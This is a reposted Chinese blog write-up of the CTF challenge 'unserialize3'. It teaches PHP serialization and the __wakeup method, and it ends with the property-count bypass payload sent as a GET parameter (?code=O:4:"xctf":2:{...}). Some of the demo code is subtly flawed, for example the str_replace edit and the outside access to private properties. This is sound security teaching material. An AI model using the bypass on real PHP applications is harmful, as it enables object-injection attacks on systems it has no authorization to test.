文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解

2023-09-27 05:31

关注

[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解

在这里插入图片描述

_wakeup()及php序列化反序列化

序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式,以便能够在不同的系统和应用程序之间进行传输或存储。

在 PHP 中,可以使用 serialize() 函数将对象序列化为字符串,然后保存到文件或传输到其他应用程序中。

序列化后的数据包含了对象的属性、方法和类型等信息,但没有对象的实例本身

反序列化则是将序列化后的数据重新转换为对象、数据结构或变量的过程,以便在程序中进行操作或处理。

在 PHP 中,可以使用 unserialize() 函数将序列化后的字符串还原为原始的对象或数据,然后进行处理。

反序列化过程需要按照序列化时的格式和规则进行解析和处理,以确保数据的完整性和正确性。


这段代码涉及了 PHP 中的魔术方法 __wakeup() 和对象序列化的概念。其中 __wakeup() 在反序列化对象时自动调用,用于初始化对象的属性等操作。

对于上述代码中的 xctf 类,它有一个 $flag 属性,以及一个 __wakeup() 方法。当一个 xctf 对象被序列化并存储为字符串后,如果再次反序列化该字符串并尝试重建相应的对象时,PHP 就会自动调用该对象的 __wakeup() 方法。


因此,对于上述代码而言,如果访问一个类似 ?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 的 URL 地址,该地址会将序列化后的 xctf 对象(即code.php?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";})传递给 PHP 引擎处理。如果该对象被成功反序列化,那么 __wakeup() 方法将会被自动调用,程序将会直接终止执行并输出 bad requests

序列化字符串结构分析

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 是一个序列化后的字符串,表示一个名为 xctf 的对象,该对象有一个属性 flag,属性值为 111。它的具体结构如下:


_wakeup()的利用

如果 __wakeup() 方法不终止程序执行,那么在将序列化字符串反序列化为对象时,该方法会自动被调用,并执行其中的代码。在上述 xctf 类中,我们可以在 __wakeup() 方法中编写一些初始化对象属性等操作,使得wakeup函数中的对象经反序列化后能够正确运行

如果将 __wakeup() 方法修改为如下代码:

public function __wakeup(){    $this->flag = '222';}

则在将序列化字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 反序列化为对象时,该对象的 $flag 属性值会被重置为 222。具体代码如下:

class xctf{    public $flag = '111';    public function __wakeup(){        $this->flag = '222';    }}$serializedObj = 'O:4:"xctf":1:{s:4:"flag";s:3:"111";}'; // 序列化后的字符串$obj = unserialize($serializedObj); // 反序列化var_dump($obj); // 输出反序列化后的对象

运行上述代码后,输出结果如下:

object(xctf)#1 (1) {  ["flag"]=>  string(3) "222"}

解题思路

由于反序列化时会自动调用_wakeup()函数,导致程序退出。
故可通过增大序列化字符串中表示对象属性个数的值,使其大于真实值,以此绕过_wakeup函数,(即伪属性绕过),从而实现程序正常运行。

伪属性数量绕过

假设有一个名为 Test 的 PHP 类,该类包含两个属性 $a$b,并且定义了 __wakeup() 方法。如果要绕过 __wakeup() 方法,可以将表示对象属性数量的值设定为大于 2 的值,如下所示:

class Test {    private $a;    private $b;        public function __wakeup() {        echo "Execute wakeup method";    }}$obj = new Test();$obj->a = "aaa";$obj->b = "bbb";$serializedObj = serialize($obj); // 将对象序列化为字符串并保存echo $serializedObj . "\n"; // 输出序列化后的字符串// 将表示属性数量的值从 2 改成 3 并重新进行反序列化$modifiedSerializedObj = str_replace("2", "3", $serializedObj);$unserializedObj = unserialize($modifiedSerializedObj);echo $unserializedObj->a . "\n"; // 正常输出 "aaa"echo $unserializedObj->b . "\n"; // 正常输出 "bbb"

在上述代码中,首先创建一个名为 Test 的类,并在其中定义 __wakeup() 方法。在 __wakeup() 方法中,简单地输出了一条日志信息,表示该方法被正常执行。接着,创建一个 Test 对象 $obj,其中包含两个属性 $a$b

$obj 对象序列化为字符串,并输出该字符串的内容。再将该字符串中表示对象属性数量的值 2 修改为 3,并将修改后的字符串传入 unserialize() 函数进行反序列化。

由于修改后的字符串中的属性数量大于实际属性数量,因此在反序列化时不会触发 __wakeup() 方法。当我们访问反序列化后的对象中的属性 $a$b 时,可以正常输出它们的值(即 "aaa""bbb"

若字符串中的属性数量等于实际属性数量,则不会输出aaa及bbb,仅输出日志信息

解题姿势

  1. 将对象序列化
    O:4:"xctf":1:{s:4:"flag";s:3:"111";}

  2. 增加字符串中对象属性数量
    O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  3. 构造GET传参 /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

回显如下,反序列化时成功绕过_wakeup函数

在这里插入图片描述


总结

以上为[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解,分享序列化反序列化相关知识,读者可躬身实践。
我是秋说,我们下次见。

来源地址:https://blog.csdn.net/2301_77485708/article/details/130789515

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     801人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     348人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     311人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     432人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     220人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯